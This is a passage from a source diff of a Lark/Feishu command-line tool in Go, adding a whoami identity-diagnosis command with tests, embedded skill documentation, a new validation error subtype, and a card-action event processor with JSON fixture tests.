|
||||
if strictForced != "" {
|
||||
return "strict_mode"
|
||||
}
|
||||
return "default_as"
|
||||
}
|
||||
|
||||
// buildResult maps the resolved identity and local diagnostics into the output.
|
||||
// ResolveAs only ever returns user or bot, so the default branch handles user.
|
||||
func buildResult(cfg *core.CliConfig, as core.Identity, source string, diag identitydiag.Result) *whoamiResult {
|
||||
defaultAs := cfg.DefaultAs
|
||||
if defaultAs == "" {
|
||||
defaultAs = core.AsAuto
|
||||
}
|
||||
res := &whoamiResult{
|
||||
Profile: cfg.ProfileName,
|
||||
AppID: cfg.AppID,
|
||||
Brand: cfg.Brand,
|
||||
DefaultAs: string(defaultAs),
|
||||
Identity: string(as),
|
||||
IdentitySource: source,
|
||||
}
|
||||
// Use the diagnosed hint as-is: it is tailored to the credential source, so
|
||||
// it never says "auth login" when that is blocked under an external provider.
|
||||
switch as {
|
||||
case core.AsBot:
|
||||
res.Available = diag.Bot.Available
|
||||
res.TokenStatus = diag.Bot.Status
|
||||
if !diag.Bot.Available {
|
||||
res.Hint = diag.Bot.Hint
|
||||
}
|
||||
default: // user
|
||||
res.Available = diag.User.Available
|
||||
// Use Status (not the raw TokenStatus) so the vocab matches the bot
|
||||
// branch: "ready" means usable for both. available stays the canonical
|
||||
// usable signal; tokenStatus is the readable state behind it.
|
||||
res.TokenStatus = diag.User.Status
|
||||
// Set onBehalfOf only when a user is actually resolved; an unresolved
|
||||
// user identity (not signed in) has no one to act on behalf of yet.
|
||||
if diag.User.UserName != "" || diag.User.OpenID != "" {
|
||||
res.OnBehalfOf = &delegatedUser{UserName: diag.User.UserName, OpenID: diag.User.OpenID}
|
||||
}
|
||||
if !diag.User.Available {
|
||||
res.Hint = diag.User.Hint
|
||||
}
|
||||
}
|
||||
return res
|
||||
}
|
||||
320
cmd/whoami/whoami_test.go
Normal file
320
cmd/whoami/whoami_test.go
Normal file
@@ -0,0 +1,320 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package whoami
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
extcred "github.com/larksuite/cli/extension/credential"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
"github.com/larksuite/cli/internal/identitydiag"
|
||||
)
|
||||
|
||||
func TestResolveSource(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
changedAs bool
|
||||
flagAs core.Identity
|
||||
autoDetected bool
|
||||
strictForced core.Identity
|
||||
want string
|
||||
}{
|
||||
{"explicit flag user", true, core.AsUser, false, "", "flag"},
|
||||
{"explicit flag bot", true, core.AsBot, false, "", "flag"},
|
||||
{"flag auto falls through to auto-detect", true, core.AsAuto, true, "", "auto_detect"},
|
||||
{"auto detected", false, "", true, "", "auto_detect"},
|
||||
{"strict mode", false, "", false, core.AsBot, "strict_mode"},
|
||||
{"default_as", false, "", false, "", "default_as"},
|
||||
}
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := resolveSource(tt.changedAs, tt.flagAs, tt.autoDetected, tt.strictForced)
|
||||
if got != tt.want {
|
||||
t.Errorf("resolveSource() = %q, want %q", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildResult_UserValid(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "my-app", AppID: "cli_x", Brand: core.BrandLark, DefaultAs: core.AsAuto}
|
||||
diag := identitydiag.Result{
|
||||
User: identitydiag.Identity{Available: true, Status: "ready", TokenStatus: "valid", OpenID: "ou_x", UserName: "Alice"},
|
||||
}
|
||||
r := buildResult(cfg, core.AsUser, "auto_detect", diag)
|
||||
|
||||
if r.Identity != "user" || r.IdentitySource != "auto_detect" {
|
||||
t.Fatalf("identity/source = %q/%q", r.Identity, r.IdentitySource)
|
||||
}
|
||||
// tokenStatus mirrors the unified Status vocab ("ready"), not the raw "valid".
|
||||
if !r.Available || r.TokenStatus != "ready" {
|
||||
t.Fatalf("available=%v status=%q", r.Available, r.TokenStatus)
|
||||
}
|
||||
if r.OnBehalfOf == nil || r.OnBehalfOf.OpenID != "ou_x" || r.OnBehalfOf.UserName != "Alice" {
|
||||
t.Fatalf("onBehalfOf = %#v, want Alice/ou_x", r.OnBehalfOf)
|
||||
}
|
||||
if r.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty", r.Hint)
|
||||
}
|
||||
if r.Profile != "my-app" || r.AppID != "cli_x" || r.Brand != core.BrandLark {
|
||||
t.Fatalf("app context = %#v", r)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildResult_UserMissingToken(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandLark}
|
||||
diag := identitydiag.Result{
|
||||
User: identitydiag.Identity{Available: false, Status: "missing", Hint: "run: lark-cli auth login --help"}, // never logged in
|
||||
}
|
||||
r := buildResult(cfg, core.AsUser, "auto_detect", diag)
|
||||
|
||||
if r.Available {
|
||||
t.Fatalf("available = true, want false")
|
||||
}
|
||||
if r.TokenStatus != "missing" {
|
||||
t.Fatalf("tokenStatus = %q, want missing", r.TokenStatus)
|
||||
}
|
||||
// whoami renders the diagnosed hint verbatim (single source of truth) so it
|
||||
// stays correct for the external-provider path without whoami knowing about it.
|
||||
if r.Hint != diag.User.Hint {
|
||||
t.Fatalf("hint = %q, want propagated %q", r.Hint, diag.User.Hint)
|
||||
}
|
||||
if r.DefaultAs != "auto" {
|
||||
t.Fatalf("defaultAs = %q, want auto (empty normalized)", r.DefaultAs)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildResult_BotReady(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu, DefaultAs: core.AsBot}
|
||||
diag := identitydiag.Result{
|
||||
Bot: identitydiag.Identity{Available: true, Status: "ready"},
|
||||
}
|
||||
r := buildResult(cfg, core.AsBot, "default_as", diag)
|
||||
|
||||
if r.Identity != "bot" || r.IdentitySource != "default_as" {
|
||||
t.Fatalf("identity/source = %q/%q", r.Identity, r.IdentitySource)
|
||||
}
|
||||
if !r.Available || r.TokenStatus != "ready" {
|
||||
t.Fatalf("available=%v status=%q", r.Available, r.TokenStatus)
|
||||
}
|
||||
if r.OnBehalfOf != nil {
|
||||
t.Fatalf("bot must not carry onBehalfOf: %#v", r.OnBehalfOf)
|
||||
}
|
||||
if r.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty", r.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBuildResult_BotNotConfigured(t *testing.T) {
|
||||
cfg := &core.CliConfig{ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu}
|
||||
diag := identitydiag.Result{
|
||||
Bot: identitydiag.Identity{Available: false, Status: "not_configured", Hint: "run: lark-cli config --help"},
|
||||
}
|
||||
r := buildResult(cfg, core.AsBot, "auto_detect", diag)
|
||||
|
||||
if r.Available {
|
||||
t.Fatalf("available = true, want false")
|
||||
}
|
||||
if r.TokenStatus != "not_configured" {
|
||||
t.Fatalf("tokenStatus = %q, want not_configured", r.TokenStatus)
|
||||
}
|
||||
if r.Hint != diag.Bot.Hint {
|
||||
t.Fatalf("hint = %q, want propagated %q", r.Hint, diag.Bot.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_BotJSON(t *testing.T) {
|
||||
f, stdout, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "test-profile", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{}) // bare whoami: output is always JSON, no flag needed
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("Execute() error = %v", err)
|
||||
}
|
||||
|
||||
var got whoamiResult
|
||||
if err := json.Unmarshal(stdout.Bytes(), &got); err != nil {
|
||||
t.Fatalf("json.Unmarshal() error = %v\n%s", err, stdout.String())
|
||||
}
|
||||
if got.Identity != "bot" {
|
||||
t.Fatalf("identity = %q, want bot", got.Identity)
|
||||
}
|
||||
if !got.Available || got.TokenStatus != "ready" {
|
||||
t.Fatalf("available=%v status=%q, want true/ready", got.Available, got.TokenStatus)
|
||||
}
|
||||
if got.Profile != "test-profile" {
|
||||
t.Fatalf("profile = %q, want test-profile", got.Profile)
|
||||
}
|
||||
if got.IdentitySource == "" {
|
||||
t.Fatalf("identitySource empty")
|
||||
}
|
||||
if got.OnBehalfOf != nil {
|
||||
t.Fatalf("bot (self) must not carry onBehalfOf: %#v", got.OnBehalfOf)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_RejectsInvalidAs(t *testing.T) {
|
||||
for _, bad := range []string{"admin", "USER", "bogus123", ""} {
|
||||
t.Run("as="+bad, func(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", bad})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("Execute() with --as %q = nil, want validation error", bad)
|
||||
}
|
||||
// Lock in the typed validation contract: an unsupported identity must
|
||||
// surface as a *errs.ValidationError on --as, not just any error.
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("Execute() with --as %q: error type = %T, want *errs.ValidationError: %v", bad, err, err)
|
||||
}
|
||||
if ve.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("Subtype = %q, want %q", ve.Subtype, errs.SubtypeInvalidArgument)
|
||||
}
|
||||
if ve.Param != "--as" {
|
||||
t.Errorf("Param = %q, want %q", ve.Param, "--as")
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_ConfigErrorPropagates(t *testing.T) {
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
})
|
||||
wantErr := fmt.Errorf("boom")
|
||||
f.Config = func() (*core.CliConfig, error) { return nil, wantErr }
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--json"})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("Execute() error = nil, want propagated config error")
|
||||
}
|
||||
// The f.Config() failure must propagate unchanged, not be masked by a later
|
||||
// command-execution error.
|
||||
if !errors.Is(err, wantErr) {
|
||||
t.Fatalf("Execute() error = %v, want it to wrap %v", err, wantErr)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_StrictModeRejectsCrossIdentity(t *testing.T) {
|
||||
// Bot-only account → strict mode bot. A real `--as user` call would be
|
||||
// rejected by CheckStrictMode; whoami must reject it identically rather than
|
||||
// previewing a user identity the next call would refuse.
|
||||
f, _, _, _ := cmdutil.TestFactory(t, &core.CliConfig{
|
||||
ProfileName: "p", AppID: "test-app", AppSecret: "test-secret", Brand: core.BrandFeishu,
|
||||
SupportedIdentities: 2, // bot only
|
||||
})
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", "user", "--json"})
|
||||
err := cmd.Execute()
|
||||
if err == nil {
|
||||
t.Fatalf("Execute() with --as user under strict bot = nil, want strict-mode rejection")
|
||||
}
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("error type = %T, want *errs.ValidationError: %v", err, err)
|
||||
}
|
||||
}
|
||||
|
||||
type fakeExtProvider struct {
|
||||
name string
|
||||
account *extcred.Account
|
||||
}
|
||||
|
||||
func (p *fakeExtProvider) Name() string { return p.name }
|
||||
func (p *fakeExtProvider) ResolveAccount(context.Context) (*extcred.Account, error) {
|
||||
return p.account, nil
|
||||
}
|
||||
func (p *fakeExtProvider) ResolveToken(context.Context, extcred.TokenSpec) (*extcred.Token, error) {
|
||||
return nil, nil // no UAT served locally; whoami runs with verify=false
|
||||
}
|
||||
|
||||
func externalWhoamiFactory(cfg *core.CliConfig) (*cmdutil.Factory, *bytes.Buffer) {
|
||||
cred := credential.NewCredentialProvider(
|
||||
[]extcred.Provider{&fakeExtProvider{name: "corp-sso", account: &extcred.Account{AppID: cfg.AppID}}},
|
||||
nil, nil,
|
||||
func() (*http.Client, error) { return nil, nil },
|
||||
)
|
||||
out := &bytes.Buffer{}
|
||||
f := &cmdutil.Factory{
|
||||
Config: func() (*core.CliConfig, error) { return cfg, nil },
|
||||
Credential: cred,
|
||||
IOStreams: &cmdutil.IOStreams{Out: out, ErrOut: &bytes.Buffer{}},
|
||||
}
|
||||
return f, out
|
||||
}
|
||||
|
||||
// Regression for the external-provider blind spot: with credentials managed by
|
||||
// an extension provider, a signed-in user must read as available, and an
|
||||
// unavailable identity must not be told to "auth login" (which is blocked).
|
||||
func TestWhoami_ExternalProvider_UserReady(t *testing.T) {
|
||||
cfg := &core.CliConfig{
|
||||
ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu,
|
||||
SupportedIdentities: uint8(extcred.SupportsAll), UserOpenId: "ou_x", UserName: "Alice",
|
||||
}
|
||||
f, out := externalWhoamiFactory(cfg)
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", "user", "--json"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("Execute() error = %v", err)
|
||||
}
|
||||
var got whoamiResult
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("Unmarshal: %v\n%s", err, out.String())
|
||||
}
|
||||
if got.Identity != "user" || !got.Available || got.TokenStatus != "ready" {
|
||||
t.Fatalf("got %#v, want user/available/ready", got)
|
||||
}
|
||||
if got.OnBehalfOf == nil || got.OnBehalfOf.UserName != "Alice" || got.OnBehalfOf.OpenID != "ou_x" {
|
||||
t.Fatalf("onBehalfOf = %#v, want Alice/ou_x (delegated)", got.OnBehalfOf)
|
||||
}
|
||||
if got.Hint != "" {
|
||||
t.Fatalf("hint = %q, want empty when available", got.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestWhoami_ExternalProvider_UserHintNotKeychain(t *testing.T) {
|
||||
cfg := &core.CliConfig{
|
||||
ProfileName: "p", AppID: "cli_x", Brand: core.BrandFeishu,
|
||||
SupportedIdentities: uint8(extcred.SupportsUser), // user supported but not signed in
|
||||
}
|
||||
f, out := externalWhoamiFactory(cfg)
|
||||
|
||||
cmd := NewCmdWhoami(f)
|
||||
cmd.SetArgs([]string{"--as", "user", "--json"})
|
||||
if err := cmd.Execute(); err != nil {
|
||||
t.Fatalf("Execute() error = %v", err)
|
||||
}
|
||||
var got whoamiResult
|
||||
if err := json.Unmarshal(out.Bytes(), &got); err != nil {
|
||||
t.Fatalf("Unmarshal: %v\n%s", err, out.String())
|
||||
}
|
||||
if got.Identity != "user" || got.Available {
|
||||
t.Fatalf("got identity=%q available=%v, want user/false", got.Identity, got.Available)
|
||||
}
|
||||
if strings.Contains(got.Hint, "auth login") {
|
||||
t.Fatalf("hint must not point at auth login under external provider: %q", got.Hint)
|
||||
}
|
||||
if !strings.Contains(got.Hint, "external") {
|
||||
t.Fatalf("hint should explain external management: %q", got.Hint)
|
||||
}
|
||||
}
|
||||
41
content_embed.go
Normal file
41
content_embed.go
Normal file
@@ -0,0 +1,41 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"os"
|
||||
|
||||
"github.com/larksuite/cli/cmd"
|
||||
"github.com/larksuite/cli/internal/affordance"
|
||||
)
|
||||
|
||||
// embeddedContentFS bundles the agent-readable content that must ship in lockstep
|
||||
// with the binary: each skill's docs (SKILL.md + references/, plus whiteboard's
|
||||
// routes/ and scenes/) and the per-domain affordance guidance (affordance/*.md).
|
||||
// Machine-resource skill dirs (assets/, scripts/) are excluded. It's a whitelist —
|
||||
// a new content type is omitted until added to the embed list. The embed must live
|
||||
// in this root package because go:embed cannot reach up out of a package's dir.
|
||||
//
|
||||
//go:embed skills/*/SKILL.md skills/*/references skills/*/routes skills/*/scenes affordance/*.md
|
||||
var embeddedContentFS embed.FS
|
||||
|
||||
// init wires the embedded content into the CLI. It compiles into `go build .` but
|
||||
// not the single-file preview build (`go build ./main.go`), so that build stays
|
||||
// self-contained (shipping no embedded content). Assembly failures warn on stderr
|
||||
// rather than panicking — embedded content is nice-to-have, not load-bearing.
|
||||
func init() {
|
||||
if sub, err := fs.Sub(embeddedContentFS, "skills"); err != nil {
|
||||
fmt.Fprintln(os.Stderr, "warning: skills embed assembly failed, skills commands disabled:", err)
|
||||
} else {
|
||||
cmd.SetEmbeddedSkillContent(sub)
|
||||
}
|
||||
if sub, err := fs.Sub(embeddedContentFS, "affordance"); err != nil {
|
||||
fmt.Fprintln(os.Stderr, "warning: affordance embed assembly failed, command guidance disabled:", err)
|
||||
} else {
|
||||
affordance.SetSource(sub)
|
||||
}
|
||||
}
|
||||
@@ -12,8 +12,9 @@ const (
|
||||
|
||||
// CategoryValidation subtypes
|
||||
const (
|
||||
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
|
||||
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
|
||||
SubtypeInvalidArgument Subtype = "invalid_argument" // user-supplied flag / arg failed validation (gRPC INVALID_ARGUMENT alignment)
|
||||
SubtypeFailedPrecondition Subtype = "failed_precondition" // request is valid but the system/resource state is not in the state required to execute; caller must change state (not retry) — e.g. ambiguous remote mapping (gRPC FAILED_PRECONDITION alignment)
|
||||
SubtypeUnsupportedCapability Subtype = "unsupported_capability" // the addressed provider/agent does not support the requested capability (capability gating on the agent card); exit 2, no request is sent
|
||||
)
|
||||
|
||||
// CategoryAuthentication subtypes
|
||||
|
||||
132
events/im/card_action.go
Normal file
132
events/im/card_action.go
Normal file
@@ -0,0 +1,132 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package im
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"strings"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
// CardActionTriggerOutput is the flattened shape for card.action.trigger.
|
||||
type CardActionTriggerOutput struct {
|
||||
Type string `json:"type" desc:"Event type; always card.action.trigger"`
|
||||
EventID string `json:"event_id,omitempty" desc:"Globally unique event ID"`
|
||||
Timestamp string `json:"timestamp,omitempty" desc:"Event delivery time (ms timestamp string)" kind:"timestamp_ms"`
|
||||
OperatorID string `json:"operator_id,omitempty" desc:"Operator open_id" kind:"open_id"`
|
||||
MessageID string `json:"message_id,omitempty" desc:"Message ID of the card" kind:"message_id"`
|
||||
ChatID string `json:"chat_id,omitempty" desc:"Chat ID" kind:"chat_id"`
|
||||
Host string `json:"host,omitempty" desc:"Host type: im_message / im_top_notice"`
|
||||
Token string `json:"token,omitempty" desc:"Token for delay card update (valid 30 min, max 2 updates)"`
|
||||
ActionTag string `json:"action_tag,omitempty" desc:"Triggered element type: button/select_static/input/checker/etc"`
|
||||
ActionValue string `json:"action_value,omitempty" desc:"Developer-defined action value as JSON string"`
|
||||
ActionName string `json:"action_name,omitempty" desc:"Element name attribute"`
|
||||
FormValue string `json:"form_value,omitempty" desc:"Form submission values as JSON string (only on form submit)"`
|
||||
InputValue string `json:"input_value,omitempty" desc:"Input field value (only for input elements)"`
|
||||
Option string `json:"option,omitempty" desc:"Selected option value (for single-select dropdown)"`
|
||||
Options string `json:"options,omitempty" desc:"Selected options, comma-separated (for multi-select)"`
|
||||
Checked bool `json:"checked" desc:"Checkbox state (for checkbox elements)"`
|
||||
Timezone string `json:"timezone,omitempty" desc:"User timezone for date/time picker interactions"`
|
||||
CardContent string `json:"card_content,omitempty" desc:"Original card JSON content (body.content) auto-fetched via message get API at consume time using message_id; empty if message_id absent or fetch fails"`
|
||||
}
|
||||
|
||||
func processCardAction(ctx context.Context, rt event.APIClient, raw *event.RawEvent, _ map[string]string) (json.RawMessage, error) {
|
||||
var envelope struct {
|
||||
Header struct {
|
||||
EventID string `json:"event_id"`
|
||||
EventType string `json:"event_type"`
|
||||
CreateTime string `json:"create_time"`
|
||||
} `json:"header"`
|
||||
Event struct {
|
||||
Operator struct {
|
||||
OpenID string `json:"open_id"`
|
||||
} `json:"operator"`
|
||||
Token string `json:"token"`
|
||||
Host string `json:"host"`
|
||||
Action struct {
|
||||
Tag string `json:"tag"`
|
||||
Value map[string]interface{} `json:"value"`
|
||||
Name string `json:"name"`
|
||||
FormValue map[string]interface{} `json:"form_value"`
|
||||
InputValue string `json:"input_value"`
|
||||
Option string `json:"option"`
|
||||
Options []string `json:"options"`
|
||||
Checked bool `json:"checked"`
|
||||
Timezone string `json:"timezone"`
|
||||
} `json:"action"`
|
||||
Context struct {
|
||||
OpenMessageID string `json:"open_message_id"`
|
||||
OpenChatID string `json:"open_chat_id"`
|
||||
} `json:"context"`
|
||||
} `json:"event"`
|
||||
}
|
||||
if err := json.Unmarshal(raw.Payload, &envelope); err != nil {
|
||||
return raw.Payload, nil //nolint:nilerr // passthrough on malformed payload
|
||||
}
|
||||
|
||||
actionValue := marshalToString(envelope.Event.Action.Value)
|
||||
formValue := marshalToString(envelope.Event.Action.FormValue)
|
||||
options := strings.Join(envelope.Event.Action.Options, ",")
|
||||
|
||||
out := &CardActionTriggerOutput{
|
||||
Type: envelope.Header.EventType,
|
||||
EventID: envelope.Header.EventID,
|
||||
Timestamp: envelope.Header.CreateTime,
|
||||
OperatorID: envelope.Event.Operator.OpenID,
|
||||
MessageID: envelope.Event.Context.OpenMessageID,
|
||||
ChatID: envelope.Event.Context.OpenChatID,
|
||||
Host: envelope.Event.Host,
|
||||
Token: envelope.Event.Token,
|
||||
ActionTag: envelope.Event.Action.Tag,
|
||||
ActionValue: actionValue,
|
||||
ActionName: envelope.Event.Action.Name,
|
||||
FormValue: formValue,
|
||||
InputValue: envelope.Event.Action.InputValue,
|
||||
Option: envelope.Event.Action.Option,
|
||||
Options: options,
|
||||
Checked: envelope.Event.Action.Checked,
|
||||
Timezone: envelope.Event.Action.Timezone,
|
||||
}
|
||||
|
||||
if out.MessageID != "" && rt != nil {
|
||||
out.CardContent = fetchCardUserDSL(ctx, rt, out.MessageID)
|
||||
}
|
||||
|
||||
return json.Marshal(out)
|
||||
}
|
||||
|
||||
// fetchCardUserDSL gets the card message content via message get API.
|
||||
// Returns empty string on any failure — never blocks event consumption.
|
||||
func fetchCardUserDSL(ctx context.Context, rt event.APIClient, messageID string) string {
|
||||
path := "/open-apis/im/v1/messages/" + messageID + "?card_msg_content_type=user_card_content"
|
||||
resp, err := rt.CallAPI(ctx, "GET", path, nil)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
var result struct {
|
||||
Code int `json:"code"`
|
||||
Msg string `json:"msg"`
|
||||
Data struct {
|
||||
Items []struct {
|
||||
Body struct {
|
||||
Content string `json:"content"`
|
||||
} `json:"body"`
|
||||
} `json:"items"`
|
||||
} `json:"data"`
|
||||
}
|
||||
if json.Unmarshal(resp, &result) != nil || result.Code != 0 || len(result.Data.Items) == 0 {
|
||||
return ""
|
||||
}
|
||||
return result.Data.Items[0].Body.Content
|
||||
}
|
||||
|
||||
func marshalToString(m map[string]interface{}) string {
|
||||
if len(m) == 0 {
|
||||
return ""
|
||||
}
|
||||
b, _ := json.Marshal(m)
|
||||
return string(b)
|
||||
}
|
||||
432
events/im/card_action_test.go
Normal file
432
events/im/card_action_test.go
Normal file
@@ -0,0 +1,432 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package im
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
func TestCardActionTriggerRegistered(t *testing.T) {
|
||||
def, ok := event.Lookup("card.action.trigger")
|
||||
if !ok {
|
||||
t.Fatal("card.action.trigger should be registered via Keys()")
|
||||
}
|
||||
if def.Schema.Custom == nil {
|
||||
t.Error("card.action.trigger must set Schema.Custom")
|
||||
}
|
||||
if def.Process == nil {
|
||||
t.Error("card.action.trigger must set Process")
|
||||
}
|
||||
if len(def.Scopes) == 0 {
|
||||
t.Error("Scopes must not be empty")
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_Button(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_btn_001",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469273"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_operator"},
|
||||
"token": "c-token-btn",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "button",
|
||||
"value": {"key": "approve"},
|
||||
"name": "approve_btn",
|
||||
"form_value": {},
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_msg_001",
|
||||
"open_chat_id": "oc_chat_001"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runCardAction(t, payload, nil)
|
||||
|
||||
if out.Type != "card.action.trigger" {
|
||||
t.Errorf("Type = %q, want card.action.trigger", out.Type)
|
||||
}
|
||||
if out.EventID != "ev_btn_001" {
|
||||
t.Errorf("EventID = %q", out.EventID)
|
||||
}
|
||||
if out.OperatorID != "ou_operator" {
|
||||
t.Errorf("OperatorID = %q", out.OperatorID)
|
||||
}
|
||||
if out.ActionTag != "button" {
|
||||
t.Errorf("ActionTag = %q, want button", out.ActionTag)
|
||||
}
|
||||
if out.ActionValue != `{"key":"approve"}` {
|
||||
t.Errorf("ActionValue = %q", out.ActionValue)
|
||||
}
|
||||
if out.ActionName != "approve_btn" {
|
||||
t.Errorf("ActionName = %q", out.ActionName)
|
||||
}
|
||||
if out.Token != "c-token-btn" {
|
||||
t.Errorf("Token = %q", out.Token)
|
||||
}
|
||||
if out.MessageID != "om_msg_001" {
|
||||
t.Errorf("MessageID = %q", out.MessageID)
|
||||
}
|
||||
if out.ChatID != "oc_chat_001" {
|
||||
t.Errorf("ChatID = %q", out.ChatID)
|
||||
}
|
||||
if out.Host != "im_message" {
|
||||
t.Errorf("Host = %q", out.Host)
|
||||
}
|
||||
if out.Timestamp != "1776409469273" {
|
||||
t.Errorf("Timestamp = %q", out.Timestamp)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_FormSubmit(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_form_001",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469274"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_form_user"},
|
||||
"token": "c-token-form",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "button",
|
||||
"value": {},
|
||||
"name": "submit_btn",
|
||||
"form_value": {"name": "test-user", "reason": "testing"},
|
||||
"options": [],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_form_001",
|
||||
"open_chat_id": "oc_chat_002"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runCardAction(t, payload, nil)
|
||||
|
||||
if out.FormValue != `{"name":"test-user","reason":"testing"}` {
|
||||
t.Errorf("FormValue = %q", out.FormValue)
|
||||
}
|
||||
if out.ActionTag != "button" {
|
||||
t.Errorf("ActionTag = %q, want button", out.ActionTag)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_MultiSelect(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_ms_001",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469275"
|
||||
},
|
||||
"event": {
|
||||
"operator": {"open_id": "ou_ms_user"},
|
||||
"token": "c-token-ms",
|
||||
"host": "im_message",
|
||||
"action": {
|
||||
"tag": "multi_select_static",
|
||||
"value": {},
|
||||
"name": "multi_select",
|
||||
"options": ["opt_1", "opt_3"],
|
||||
"checked": false
|
||||
},
|
||||
"context": {
|
||||
"open_message_id": "om_ms_001",
|
||||
"open_chat_id": "oc_chat_003"
|
||||
}
|
||||
}
|
||||
}`
|
||||
out := runCardAction(t, payload, nil)
|
||||
|
||||
if out.Options != "opt_1,opt_3" {
|
||||
t.Errorf("Options = %q, want opt_1,opt_3", out.Options)
|
||||
}
|
||||
if out.ActionTag != "multi_select_static" {
|
||||
t.Errorf("ActionTag = %q", out.ActionTag)
|
||||
}
|
||||
}
|
||||
|
||||
func TestProcessCardAction_Input(t *testing.T) {
|
||||
payload := `{
|
||||
"schema": "2.0",
|
||||
"header": {
|
||||
"event_id": "ev_input_001",
|
||||
"event_type": "card.action.trigger",
|
||||
"create_time": "1776409469276"
|
||||
},
|
||||
"event": {
